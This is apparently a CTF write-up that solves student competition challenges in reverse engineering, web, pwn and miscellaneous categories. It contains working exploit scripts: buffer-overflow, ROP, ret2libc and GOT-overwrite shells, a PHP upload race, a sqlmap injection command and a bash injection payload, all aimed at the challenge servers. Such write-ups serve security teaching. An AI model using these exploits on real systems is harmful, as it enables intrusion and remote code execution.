    long buf_len = (len >> 2) * 3;
    while ((len != 0 && excerpt[len - 1] == '=')) {
        --buf_len;
        --len;
    }
    char* buf = (char *) malloc(buf_len + 1);
    for (long i = 0, j = 0; i < buf_len; i += 4, j += 3) {
        long uVar = data[(excerpt[i + 1] - 0x2b) * 4]
            | data[(excerpt[i] - 0x2b) * 4] << 6;
        uVar <<= 6;
        if (excerpt[i + 2] != '=') {
            uVar += data[(excerpt[i + 2] - 0x2b) * 4];
        }
        uVar <<= 6;
        if (excerpt[i + 3] != '=') {
            uVar += data[(excerpt[i + 3] - 0x2b) * 4];
        }
        buf[j] = (char) (uVar >> 16);
        if (excerpt[i + 2] != '=') {
            buf[j + 1] = (char) (uVar >> 8);
        }
        if (excerpt[i + 3] != '=') {
            buf[j + 2] = (char)uVar;
        }
    }
    if (strcmp(buf, "tokyo")) {
        puts("-- Failed check");
    }
    free(buf);
}

int main() {
    const char* s = "dG9reW8=}";
    Check6((char*)s);
}

Flag: greyhats{2O2L2Y2M2P2I2C2S_IO_dG9reW8=}

Unsolved Reverse Engineering Challenges

  1. recursion
  2. A Note

Web: No Submit Security

I heard that my website is leaking some secret when a button is clicked, so I removed that button. I think it should be secure enough now.
http://challs1.welcomectf.tk:5217/

A quick look at the DOM reveals a bunch of hidden inputs within a form submitting to the same page as POST. Just change the input type to submit and click the button for the flag to appear.

Flag: greyhats{5U8m1551O5_15_FRoM_tH3_CL13Nt_51d3}

Web: No Ketchup, Just Sauce

Building my ketchup startup at http://challs1.welcomectf.tk:5208/

Running through the site with dirb shows that robots.txt is present on the server. Visiting that reveals a file reborn.php. The page shows a form asking “what is my favorite ketchup?”, and the source hints at a backup file “<!– Version 2.2.3. Backup file contains version 2.2.2. –>”.

Visiting reborn.php.bak initiates a file download where we can see the source of the page, showing us the input is expecting “no ketchup, raw sauce — too many calories, not good”. Submit that to get the flag.

Flag: greyhats{n0_k3tchup_r4w_s4uc3_892e89h89e}

Web: Covid Tracker

I made a Covid Tracker to see track how many Covid cases are around. I’m hoping I get injected with the vaccine soon.
challs1.welcomectf.tk:5201
File

Two page website, starting with a login page. Using sqlmap, we are able to login via SQL Injection to the map page. We see the flag is present in the database from the distributed index.js, and sniffing the network requests to the API on the map page we can see the endpoint and the information it expects.

We perform another SQL Injection using sqlmap with the command (note the use of cookies to keep the session authorized):

sqlmap -u "http://challs1.welcomectf.tk:5201/api/locations" --method POST --data '{"search": "*"}' --level=5 --risk=3 --cookie="PHPSESSID=23a0be28eebeaf85d4e0d2d9d2e4d23c; arp_scroll_position=0; connect.sid=s%3AO9_GbTojtPj_J75v3cQ_zv36dzlD4Zqz.yNg8RgvP1SFN%2Fw1psYoRC%2FMih2MChA%2BPea96WIdmZbM" --headers="User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36 Edg/92.0.902.67\nReferer: http://challs1.welcomectf.tk:5201/covid.html\nOrigin: http://challs1.welcomectf.tk:5201\nContent-Type: application/json" --tables -T flag --dump

Flag: greyhats{w3bApp5_n33d_v@cc1ne?_4521f}

Web: Tiny File Hosting

People like large file hosting service, but I created a tiny file hosting service, hope you also like it =)
challs2.welcomectf.tk:5207
File

Visiting /upload shows the entirety of the code through highlight_file. We see 2 checks, one for file size (must be below 10 characters) and one for file extension. Files are randomly renamed after. This is quite daunting, as both checks aren’t easy to defeat even by themselves.

However, a flaw in the code is that the file size is checked first, and at that point it exists on the server, and then the file extension check is carried out. This exposes a TOCTOU vulnerability, meaning we can possibly intercept the file before the file extension check happens. Therefore, we flood the server with upload requests and quickly attempt to read.

For the file size, we send a very small echo ls command <?=`ls`; which is about the only thing you can do with that limitation.

import requests
import io
import concurrent.futures
from datetime import datetime, timedelta
import time

URL = 'http://challs1.welcomectf.tk:5207'
file_name = 'z.php'
with open('z.php', 'wb') as f:
    f.write(b'<?=`ls`;')

def check():
    r = requests.get(f'{URL}/upload/{file_name}').text
    #print(r)
    if '<title>404 Not Found</title>' in r:
        return
    print(r)

def upload():
    requests.post(f'{URL}/upload.php', files={ 'upload_file': open(file_name, 'rb') }, data={'submit': 'None'}, allow_redirects=False)

with concurrent.futures.ThreadPoolExecutor(max_workers=12) as executor:
    while True:
        executor.submit(check)
        executor.submit(upload)
        executor.submit(check)

Eventually, this spits out a list of files through ls and tells us where the flag location is.

Flag: greyhats{h0vv_d1d_y0u_byp455_17?!?!}

Unsolved Web Challenges

Pwn: Flag Hunter

My friend said it is impossible to win this game. Time to prove him wrong 🙂
nc challs1.welcomectf.tk 5015

Solved by deces0. His writeup as follows:

Integer overflow.

  • From practice, note that Guardian HP can overflow.
  • Guardian has 80 HP and heals 4 HP per round
  • Takes 12 rounds for overflow to occur
  • Select Mage which has Defense skill
  • Cycle Defense Defense Refresh
  • If Guardian does not critical hit, takes 12 rounds to get killed
  • But Guardian health overflows before death

Flag: greyhats{1nt3rger_OooOooverflow_in_3ss3nce}

Pwn: hexdump-bof

I wrote an hexdump converter service with my friend. He said that it looked very vulnerable, and volunteered to ‘fix’ it. I’m not quite sure he did …
Connect via
nc challs1.welcomectf.tk 5002
File

Running the program shows there is an inaccessible function at 0x4014dc called win . Looking at the source code, we see that the win function contains shell execution. Writing a random input to the program, it outputs the data.

reignofcomputer@Cosmos:~$ nc challs1.welcomectf.tk 5002
=== HexDump Master ===
Prints the input back at you, in hexdump format, including some extra data... I wonder what that data is :)
Btw, there is an inaccessible function at 0x4014dc (win). What will it do?

Input:
asd
----------------------------------------------------------------------------------------------------------------------------------------------------
contents                                                                                        | saved base ptr          | return address
----------------------------------------------------------------------------------------------------------------------------------------------------
61 73 64 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | f0 9d ce f7 fc 7f 00 00 | e9 15 40 00 00 00 00 00
----------------------------------------------------------------------------------------------------------------------------------------------------

saved base pointer      : 0x7ffcf7ce9df0
return address          : 0x4015e9
Go again? (Y/N)

With this output we can see that the return address of the function is 0x4015e9. The contents show 61 73 64 , which represent our input asd . 0a represents the LF ASCII character. The buffer size is 0x20 which is equal to 32 bytes, but fgets wants to retrieve up to 48 bytes of data. A simple check of placing 33 ‘F’ characters show that we have overridden the saved based pointer.

Input:
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
----------------------------------------------------------------------------------------------------------------------------------------------------
contents                                                                                        | saved base ptr          | return address
----------------------------------------------------------------------------------------------------------------------------------------------------
46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 | 46 0a 00 44 fc 7f 00 00 | e9 15 40 00 00 00 00 00
----------------------------------------------------------------------------------------------------------------------------------------------------

saved base pointer      : 0x7ffc44000a46
return address          : 0x4015e9

With this knowledge, we exploit the buffer overflow to overwrite the return address, placing garbled text for the first 32 bytes, making the saved based pointer remain the same and replace the return address to point to the address at system("/bin/sh"); (i.e. 0x4014dc + 8 = 0x4014e4).From the output, we can see this is in little endian as the most significant byte is stored last. Therefore, we overwrite it by placing in \xe4\x14\x40.

from pwn import *

r = remote('challs1.welcomectf.tk', 5002)
exploit_code = b'\x6c\x73\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x7f\xfe\xff\x5c\xe0\x70\x00\x00\xe4\x14\x40\x00\x00\x00\x00\x4e'
exploit_code_one = 'FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF'
r.sendline(exploit_code)
r.interactive()
saved base pointer    : 0x70e05cfffe7f
return address        : 0x4014e4
Go again? (Y/N) You entered: N
$ cat flag.txt
greyhats{b0f_m4d3_ezpz_345ff}$

Flag: greyhats{b0f_m4d3_ezpz_345ff}

Pwn: fetusrop

Begin your journey on return-oriented programming.
nc challs1.welcomectf.tk 5011
File

From the source code, it is clear we have to exploit the buffer overflow exploit in main to return to win with parameters a = 0xcafe and b = 0x1337. PIE and stack protector is off so we can simply override RIP and call function addresses as there is no randomization.

Using objdump , we can deduce that RIP is 40 bytes from the buffer. Using ROPgadget , we can find the following gadgets to pass a = 0xcafe and b = 0x1337 into win.

0x00000000004005f3 : pop rdi ; ret
0x00000000004005f1 : pop rsi ; pop r15 ; ret

From there, the solve script to call win and achieve RCE is:

from pwn import *
context.log_level = 'DEBUG'

r = remote('challs1.welcomectf.tk', 5011)
#elf = ELF('./fetusrop')
#r = elf.process()
r.sendline(b"a" * 40 + p64(0x00000000004005f3) + p64(0xcafe) + p64(0x00000000004005f1) + p64(0x1337) + p64(0) + p64(0x0000000000400537))
r.interactive()

Flag: greyhats{y0ur_pwn_j0urn3y_b3g1ns_982h89h}

Pwn: babyrop

You are ready for more return-oriented programming.
nc challs1.welcomectf.tk 5012
File

Again, there is a buffer overflow in main and PIE and stack protector is off. However, we don’t have a conveniently placed win function to use now. No worries, everything is already given to use here with global "/bin/sh" string and system function used.

Using objdump , we can deduce that RIP is 40 bytes from the buffer and "/bin/sh" is located at 0x4006a4. Using ROPgadget , we can find the following gadgets to pass "/bin/sh" into system.

0x0000000000400486 : ret - note: this is used to align the stack
0x0000000000400683 : pop rdi ; ret

From there, the solve script to call system with "/bin/sh" to achieve RCE is:

from pwn import *
context.log_level = 'DEBUG'

r = remote('challs1.welcomectf.tk', 5012)
elf = ELF('babyrop')
#r = elf.process()

SHELL_PTR = 0x4006a4
POP_RDI = 0x0000000000400683
RET = 0x0000000000400486

r.recv()
r.sendline(b'A' * 40 + p64(RET) + p64(POP_RDI) + p64(SHELL_PTR) + p64(elf.plt['system']))
r.interactive()

Flag: greyhats{4n_e4sy_0ne_f0r_y0u_82hhd2dh8dh}

Pwn: kidrop

I take away system, what can you do now?
nc challs1.welcomectf.tk 5013
File

There is a buffer overflow in vuln and PIE and stack protector is off. However, we don’t have a conveniently placed system function to use now. We shall then use puts to leak the libc library offset via printing out the puts pointer in the global offset table, return to main , overflow the buffer to call system with binsh string to achieve RCE.

As usual, using objdump and ROPgadget , we can find the offset and relevant addresses which are used in the exploit.

From there, the solve script to call system with "/bin/sh" to achieve RCE is:

from pwn import *
context.log_level = 'DEBUG'

r = remote('challs1.welcomectf.tk', 5013)
elf = ELF('kidrop')
#r = elf.process()

POP_RDI = 0x0000000000401353
RET = 0x000000000040101a

# Leak libc base
r.recvuntil('How are you?\n')
r.sendline(b'A' * 40 +  p64(POP_RDI) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(elf.sym['main']))
leak = r.recvuntil('\n')[:-1]
leak = u64(leak.ljust(8, b'\x00'))
print(hex(leak))

libc = ELF('libc.so.6')
# Set libc base
libc_base = leak - libc.symbols['puts']
libc.address = libc_base
binsh = next(libc.search(b"/bin/sh"))
system = libc.sym["system"]

# Get shell
r.recvuntil('How are you?\n')
r.sendline(b'a' * 40 + p64(RET) + p64(POP_RDI) + p64(binsh) + p64(system))
r.interactive()

Flag: greyhats{g00d_j0b_d0ing_l1bc_l34k_2y389hd82}

Pwn: teenrop

PIE is enabled. It is harder. But aiken dueet.
nc challs1.nusgreyhats.org 5014
File

There is a buffer overflow in read_ull and stack protector is off. Now PIE is enabled, which means we have to have a leak in order to find out what is the program’s base address. We also have to do a ret2libc like in teenrop.

We are able to read stack values because the size of value is not checked, so it is easy to find out which offset leaks the address of the main function by some trial and error. We know that it is the same address because the last 3 hex chars are not changed. We found that the offset is 25. From there, we can calculate the program’s base address and we are able to ROP by adding address of gadgets to the base, do ret2libc and achieve RCE.

As usual, using objdump and ROPgadget , we can find the offset and relevant addresses which are used in the exploit.

From there, the solve script to call system with "/bin/sh" to achieve RCE is:

from pwn import *
from time import sleep
context.log_level = 'DEBUG'

r = remote('challs1.nusgreyhats.org', 5014)

# Leak main function addr ptr
r.recvuntil('Choice: ')
r.sendline('2')
r.sendline('25') # 25 to leak main
r.recvuntil('Value: ')
main_leak = int(r.recvuntil("\n")[:-1].decode())
print(f'{hex(int(main_leak))}')
elf = ELF('./teenrop')
elf.address = main_leak - elf.sym['main']
print('binary base is ', hex(elf.address))

RET = 0x101a + elf.address
POPRDI = 0x1453 + elf.address
print(hex(RET), hex(POPRDI), hex(elf.symbols['read_ull']))
payload = b'A' * (0x20 + 8) + p64(RET) + p64(POPRDI) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(elf.symbols['read_ull'])
r.recvuntil('Choice: ')
r.sendline(payload)
libc_leak = r.recvuntil('\n')[:-1] # remove newline char
libc_leak = u64(libc_leak.ljust(8, b'\x00'))
print(hex(libc_leak))

# Set libc offset
libc = ELF('libc.so.6')
libc.address = libc_leak - libc.symbols['puts']
print(hex(libc.address))
binsh = next(libc.search(b'/bin/sh'))
system = libc.sym['system']

# Time to get shell
payload = b'A' * (0x20 + 8) + p64(POPRDI) + p64(binsh) + p64(system)
r.sendline(payload)
r.interactive()

Flag: greyhats{y0u_4r3_g3tt1ng_g00d_4t_th1s_983u49r}

Pwn: Distinct

I made a program to check if a list of numbers is distinct by sorting them then iterating over them! Genius, right?! Except the sort looks off …
nc challs1.welcomectf.tk 5000
File

Here we have a program that sorts values we input. However, there is an off-by-one error in the sort function which checks and shifts 1 value more than it should. Also, note that the array it is modifying and the function pointer that is called on each try are next to each other. In other words, we can exploit the sort function by overwriting the function pointer to point to win function that is conveniently created for us which will then be executed iff inputs are in sorted order.

Doing a checksec on the binary given:

reignofcomputer@Cosmos:/mnt/d/WelcomeCTF/dist-distinct$ checksec ./distinct.o
[*] '/mnt/d/WelcomeCTF/dist-distinct/distinct.o'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

PIE is enabled, so we have to leak the program base as well. We can do this by submitting values larger than the value in the function pointer. 263 = 9223372036854775808 is a good bet here. The sorted order will be displayed back to us and the smallest value is the function pointer.

Here were the relevant inputs to get the flag:

reignofcomputer@Cosmos:~$ nc challs1.welcomectf.tk 5000
#0: 9223372036854775808
#1: 9223372036854775808
#2: 9223372036854775808
#3: 9223372036854775808
#4: 9223372036854775808
#5: 9223372036854775808
#6: 9223372036854775808
#7: 9223372036854775808
#8: 9223372036854775808
#9: 9223372036854775808
#10: 9223372036854775808
#11: 9223372036854775808
#12: 9223372036854775808
#13: 9223372036854775808
#14: 9223372036854775808
#15: 9223372036854775808
You have entered:
93931409286013 9223372036854775808 9223372036854775808 9223372036854775808 9223372036854775808
9223372036854775808 9223372036854775808 9223372036854775808 9223372036854775808 9223372036854775808
9223372036854775808 9223372036854775808 9223372036854775808 9223372036854775808 9223372036854775808
9223372036854775808
<--
93931409286013 is the address of the `unique` function! Therefore the program base is
93931409286013 - 0x137d = 93931409281024
Now we know that the win function is at 93931409281024 + 0x1594 = 93931409286548
Submit that and make it the largest valued input to make the function pointer point to `win`.
-->
Enter Again? (Y/N) Y
#0: 0
#1: 1
#2: 2
#3: 3
#4: 4
#5: 5
#6: 6
#7: 7
#8: 8
#9: 9
#10: 10
#11: 11
#12: 12
#13: 13
#14: 14
#15: 93931409286548
You have entered:
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 93931409286013
Enter Again? (Y/N) N
ls
flag.txt
run
cat flag.txt
greyhats{shUfFl3_tHe_Funt1on_pTr_oUt_5581d}

Flag: greyhats{shUfFl3_tHe_Funt1on_pTr_oUt_5581d}

Pwn: Notepad–

Ah, I love menu driven 64-bit notepad programs, I can cram so much content into them! Including flaws …
nc challs1.nusgreyhats.org 5001
File

Doing a checksec on the binary given:

reignofcomputer@Cosmos:/mnt/d/WelcomeCTF/dist-notepad$ checksec ./notepad.o
[*] '/mnt/d/WelcomeCTF/dist-notepad/notepad.o'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

There is no RELRO protection meaning we can override GOT entries.

The vulnerability in this application is that the get_note function only checks if the index provided is greater than 10, but does not check for negative input. notes is found just above the global offset table entries so we can use this function to modify their values.

We can leak printf GOT address by viewing the note with -4 index which helps us calculate the libc offset.

Then, we can achieve RCE in the view_note function as it contains puts(note->name). We can overwrite the puts GT pointer with system‘s and make it read a note with the string /bin/sh in it, which is possible because we have full control over what notes are stored. The puts pointer can be overwritten at the -5 index with some padding.

We can find the relevant indexes with the help of GDB. From there, the solve script to call system with "/bin/sh" to achieve RCE is:

from pwn import *
context.log_level = 'DEBUG'

r = remote('challs1.nusgreyhats.org', 5001)
#elf = ELF('./notepad.o'); r = elf.process(); pause()

# Leak libc base
r.recvuntil('> ')
r.sendline('2')
r.recvuntil('Index: ')
r.sendline('-4')
r.recvuntil('Name: ') # First is printf
leak = r.recvuntil('\n')[:-1]
leak = u64(leak.ljust(8, b'\x00'))
print(f'printf is at {hex(leak)}')
libc = ELF('libc.so.6')
# Set libc base
libc_base = leak - libc.symbols['printf']
libc.address = libc_base

# Add /bin/sh into an index
r.recvuntil('> ')
r.sendline('1')
r.recvuntil('Index: ')
r.sendline('0')
r.recvuntil('Name: ')
r.sendline('/bin/sh')
r.recvuntil('Content: ')
r.sendline('')

# Overwrite puts got entry to that of system's
r.recvuntil('> ')
r.sendline('1')
r.recvuntil('Index: ')
r.sendline('-5')
r.recvuntil('Name: ')
r.sendline('')
r.recvuntil('Content: ')
r.sendline(b'\x00' * 16 + p64(libc.sym['system']))

# View note and call puts (now system) on /bin/sh
r.recvuntil('> ')
r.sendline('2')
r.recvuntil('Index: ')
r.sendline('0')
r.interactive()

Flag: greyhats{y_s0_-v3_56w81}

Unsolved Pwn Challenges

Miscellaneous: Sanity Check

Free flag for everyone! greyhats{are_you_ready_for_online_classes}
Join us on discord: https://discord.gg/7gZj43jH

Doh.

Flag: greyhats{are_you_ready_for_online_classes}

Miscellaneous: Reading the Channel

There is a flag hidden in the discord channel, I wonder where it is?
Flag formats are in the form greyhats{…} unless otherwise stated
https://discord.gg/7gZj43jH

Just searched “greyhats{” in Discord.

Flag: greyhats{1_h4ve_read_da_rules_and_4gr33}

Miscellaneous: Strings

What is a string?
File

Just use strings and grep.

reignofcomputer@Cosmos:/mnt/d/WelcomeCTF$ strings greycat.jpg | grep "greyhats{"
qgreyhats{W4y2_T0_H1De_1nf0rm4t10N}

Flag: greyhats{W4y2_T0_H1De_1nf0rm4t10N}

Miscellaneous: Bash Injection

Did you manage to log in?
nc challs1.welcomectf.tk 5401

Attempting to netcat in results in:

reignofcomputer@Cosmos:~$ nc challs1.welcomectf.tk 5401
Username: a
Password: b

[exe] -> bash -c './login.sh "a" "b"'
[out] -> Invalid username.

We can see how bash is trying to run our inputs. When we pass in some quotes into the fields, we can break out of the command and perform other commands.

reignofcomputer@Cosmos:~$ nc challs1.welcomectf.tk 5401
Username: a
Password: " | grep -nr "grey" . | grep "grey

[exe] -> bash -c './login.sh "a" "" | grep -nr "grey" . | grep "grey"'
[out] -> ./login.sh:8:        printf 'Login complete: greyhats{86sh_1n73ct10n_y6333}'

Flag: greyhats{86sh_1n73ct10n_y6333}

Miscellaneous: Smoke and Mirrors

A binary file – flag – has been hidden in image.png via LSB-Steganography! It is known that flag is 11,392 bytes large. Also, the file is spread across the first N pixels of the image when traversing in row-major order.
Can you recover the executable and uncover the flag?
File

Solved by deces0. His writeup as follows:

Google for Steganography solvers and we have:

zsteg image.png -E b1,r,lsb,xy > a.out && ./a.out

To hide information with plausible deniability, just password protect your data.

Flag: greyhats{m0r3_th6n_m33t5_the_3y3_189794872}

Unsolved Miscellaneous Challenges